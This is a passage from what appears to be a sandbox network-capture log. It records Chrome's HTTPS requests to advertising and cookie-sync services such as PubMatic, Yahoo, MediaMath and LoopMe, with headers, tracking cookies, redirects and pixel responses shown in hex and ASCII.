KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; chkChromeAb67Sec=3; pi=156078:4; DPSync3=1706054400%3A201_263_258_262_261_260_256_259%7C1705449600%3A265%7C1704931200%3A255_248%7C1705881600%3A257; SyncRTB3=1710028800%3A69%7C1706054400%3A165_54_234_166_7_178_233_240_104_3_5_21_243_46_96_214_250_55_13_56_238_22_71_220_8_231%7C1705449600%3A38_2_15_223%7C1705708800%3A63%7C1707436800%3A224; SPugT=1704929245; KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920; KRTBCOOKIE_1251=23269-di_1673c61b98ba4fbcabc0c; KRTBCOOKIE_391=22924-7455955347164126958&KRTB&23263-7455955347164126958&KRTB&23481-7455955347164126958; KRTBCOOKIE_188=3189-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&KRTB&23418-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553; KRTBCOOKIE_1278=23329-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23340-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23498-40f09b66-e671-4da3-b991-c14247c4cce6; KRTBCOOKIE_1323=23480-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23485-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23524-OPU94c5f6bfc10e4266866ca02b6e163de0; PugT=1704929246; KRTBCOOKIE_32=11175-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22713-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22715-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&23519-AAAHeHO4ZcfjXANgwiqRAAAAAAA
2024-01-10 23:27:27 UTC	600	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:27 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; domain=pubmatic.com; SameSite=None; secure; expires=Tue, 09-Apr-2024 23:27:27 GMT; path=/ Set-Cookie: PugT=1704929247; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:27 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:27 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
584	192.168.2.4	50399	23.55.243.211	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:27 UTC	1660	OUT	GET /cksync.html?cs=1&vsid=3479308310180275000V10&type=pub&refUrl=&vid=49292349683479308310180275000V10&axid_e=&ovsid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4 HTTP/1.1 Host: hb.yahoo.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308310180275000V10; data-mag=LR8EUG12-1F-5JG4~~1; data-mn=3479308330180239000V10~~1; usp_status=1; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-zta=968062845637553879~~63; data-son=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~1; data-tlt=3631141743957125218505~~1; data-opx=50996944-41eb-0a14-2f16-7629f8e9c8fd~~1; data-idx=ZZ8n1IPpYMLwQL_F1CLawgAAAP0AAAIB~~1; data-ayl=80df0390ac1a08301112e6851cc561f4~~1; data-sov=H-G_bLZHIhhIpR6ZTj2OFYm3~~1; data-dtm=AAACWBRgpry45AN_rYmFAAAAAAA~~1; data-apx=7367141199740274687~~1; data-pub=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4~~1; data-ctn=3eb4f1d28af642b8a97d60a85e0f7108~~1; data-ylm=VEeMJ__OOM_smh2PNiGG~~1; data-gum=u_0388cd6c-8293-4db4-818a-ce9c7e7530d0~~1; data-sht=316bb570-8374-4683-a0e9-a8b41619214a~~63; data-rhs=WGFTyzcQKewjN8Wy6aUUAIQzRC-OwVzzVQwF9T4mHD8~~63
2024-01-10 23:27:27 UTC	694	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 231 Content-Type: text/html;charset=UTF-8 Set-Cookie: data-pub=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4~~1;Expires=Sat, 24 Feb 2024 23:27:27 GMT;path=/;domain=.hb.yahoo.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=86400 ; includeSubDomains Strict-Transport-Security: max-age=604800 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:27 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:27 GMT Connection: close
2024-01-10 23:27:27 UTC	150	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 69 66 20 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 2e 69 6e 64 65 78 4f 66 28 22 69 73 48 74 6d 6c 3d 31 22 29 20 21 3d 3d 20 2d 31 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 74 6f 70 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 7b 22 74 79 70 65 22 3a 22 63 6b 73 79 6e 63 22 2c 22 6e 61 6d 65 22 3a 22 Data Ascii: <!DOCTYPE html><html><head><script>if (window.location.href.indexOf("isHtml=1") !== -1) { window.top.postMessage({"type":"cksync","name":"
2024-01-10 23:27:27 UTC	81	IN	Data Raw: 22 2c 22 6f 76 73 69 64 22 3a 22 22 7d 2c 20 27 2a 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: ","ovsid":""}, '*'); } </script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
585	192.168.2.4	50416	35.186.193.173	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:27 UTC	859	OUT	GET /int/cm?exc=14&redir=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MTEmdGw9MjAxNjA=&piggybackCookie=[user_id] HTTP/1.1 Host: ipac.ctnsnet.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cid=3eb4f1d28af642b8a97d60a85e0f7108
2024-01-10 23:27:27 UTC	502	IN	HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: CP="NOI DSP COR NID CUR OUR NOR" Set-Cookie: cid=3eb4f1d28af642b8a97d60a85e0f7108; path=/; domain=.ctnsnet.com; expires=Thu, 09 Jan 2025 23:27:27 GMT; Secure; SameSite=None; Pragma: no-cache Cache-Control: no-cache, must-revalidate Expires: Fri, 01 Jan 1990 00:00:00 GMT Content-Type: image/gif Content-Length: 43 Date: Wed, 10 Jan 2024 23:27:27 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-10 23:27:27 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 db df ef 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
586	192.168.2.4	50407	35.214.246.25	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:27 UTC	878	OUT	GET /?pubid=11331&redirect=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MzImdGw9MTI5NjAw&piggybackCookie={viewer_token} HTTP/1.1 Host: csync.loopme.me Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: viewer_token=c250b6eb-10fb-4071-a401-07c4929b89a6
2024-01-10 23:27:27 UTC	378	IN	HTTP/1.1 307 Temporary Redirect set-cookie: viewer_token=c250b6eb-10fb-4071-a401-07c4929b89a6; path=/; domain=csync.loopme.me; secure; HttpOnly; Expires=Wed, 10-Apr-2024 23:27:27 GMT; SameSite=None location: https://simage2.pubmatic.com/AdServer/Pug?vcode&piggybackCookie={viewer_token} content-length: 0 date: Wed, 10 Jan 2024 23:27:27 GMT server: _ connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
587	192.168.2.4	50425	162.248.18.37	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:27 UTC	3694	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9Mjc0NCZ0bD0xNTc2ODAw&piggybackCookie=R33645_10F17D40A_8AEC9589&r=https://pmp.mxptint.net/sn.ashx?ak=1 HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; chkChromeAb67Sec=3; pi=156078:4; DPSync3=1706054400%3A201_263_258_262_261_260_256_259%7C1705449600%3A265%7C1704931200%3A255_248%7C1705881600%3A257; SyncRTB3=1710028800%3A69%7C1706054400%3A165_54_234_166_7_178_233_240_104_3_5_21_243_46_96_214_250_55_13_56_238_22_71_220_8_231%7C1705449600%3A38_2_15_223%7C1705708800%3A63%7C1707436800%3A224; SPugT=1704929245; KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920; KRTBCOOKIE_1251=23269-di_1673c61b98ba4fbcabc0c; KRTBCOOKIE_391=22924-7455955347164126958&KRTB&23263-7455955347164126958&KRTB&23481-7455955347164126958; KRTBCOOKIE_188=3189-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&KRTB&23418-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553; KRTBCOOKIE_1278=23329-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23340-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23498-40f09b66-e671-4da3-b991-c14247c4cce6; KRTBCOOKIE_1323=23480-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23485-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23524-OPU94c5f6bfc10e4266866ca02b6e163de0; PugT=1704929246; KRTBCOOKIE_32=11175-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22713-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22715-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&23519-AAAHeHO4ZcfjXANgwiqRAAAAAAA
2024-01-10 23:27:27 UTC	657	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Wed, 10 Jan 2024 23:27:26 GMT Transfer-Encoding: chunked Connection: close Set-Cookie: KRTBCOOKIE_52=22772-R33645_10F17D40A_8AEC9589&KRTB&23092-R33645_10F17D40A_8AEC9589; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:26 GMT; path=/ Set-Cookie: PugT=1704929246; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:26 GMT; path=/ Location: https://pmp.mxptint.net/sn.ashx?ak=1 P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
588	192.168.2.4	50414	74.121.140.211	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:27 UTC	923	OUT	GET /sync/img?mt_exid=3&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fsimage2.pubmatic.com%2FAdServer%2FPug%3Fvcode%3Dbz0yJnR5cGU9MSZjb2RlPTM2MiZ0bD0xMjk2MDA%3D%3D%26piggybackCookie%3Duid%3A%5BMM_UUID%5D HTTP/1.1 Host: sync.mathtag.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uuid=d579659f-27da-4200-92f9-660cb89fa4ac
2024-01-10 23:27:27 UTC	562	IN	HTTP/1.1 302 Moved Temporarily Date: Wed, 10 Jan 2024 23:27:27 GMT Content-Type: image/gif Content-Length: 0 Connection: close Access-Control-Allow-Origin: * Server: MT3 1237 600843f master iad iad-pixel-x15 config_version:"289" Cache-Control: no-cache P3P: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" location: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM2MiZ0bD0xMjk2MDA==&piggybackCookie=uid:d579659f-27da-4200-92f9-660cb89fa4ac&gdpr=0&gdpr_consent= Expires: Wed, 10 Jan 2024 23:27:26 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
589	192.168.2.4	50424	162.248.18.37	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:27 UTC	3745	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMwNzMmdGw9MTI5NjAw&piggybackCookie=Q7582156461311061263 HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; chkChromeAb67Sec=3; pi=156078:4; DPSync3=1706054400%3A201_263_258_262_261_260_256_259%7C1705449600%3A265%7C1704931200%3A255_248%7C1705881600%3A257; SyncRTB3=1710028800%3A69%7C1706054400%3A165_54_234_166_7_178_233_240_104_3_5_21_243_46_96_214_250_55_13_56_238_22_71_220_8_231%7C1705449600%3A38_2_15_223%7C1705708800%3A63%7C1707436800%3A224; SPugT=1704929245; KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920; KRTBCOOKIE_1251=23269-di_1673c61b98ba4fbcabc0c; KRTBCOOKIE_391=22924-7455955347164126958&KRTB&23263-7455955347164126958&KRTB&23481-7455955347164126958; KRTBCOOKIE_188=3189-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&KRTB&23418-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553; KRTBCOOKIE_1278=23329-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23340-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23498-40f09b66-e671-4da3-b991-c14247c4cce6; KRTBCOOKIE_1323=23480-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23485-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23524-OPU94c5f6bfc10e4266866ca02b6e163de0; PugT=1704929246; KRTBCOOKIE_32=11175-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22713-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22715-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&23519-AAAHeHO4ZcfjXANgwiqRAAAAAAA
2024-01-10 23:27:27 UTC	319	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:26 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:27 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
590	192.168.2.4	50422	35.244.154.8	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:27 UTC	759	OUT	GET /1000.gif?memo=CPy7KxIwCiwIARCFpQoaJEFGMUEzMEIwLTI0QjgtNDc2RS1BRUQ0LUJFOERDQUZBNDFDNBAAGg0I3s_8rAYSBQjoBxAAQgBKAA HTTP/1.1 Host: idsync.rlcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: rlas3=A5tV0QjfDAJz2cgWXsmlck11XlQKEnC3di4CHt5kBGE=; pxrc=CAA=
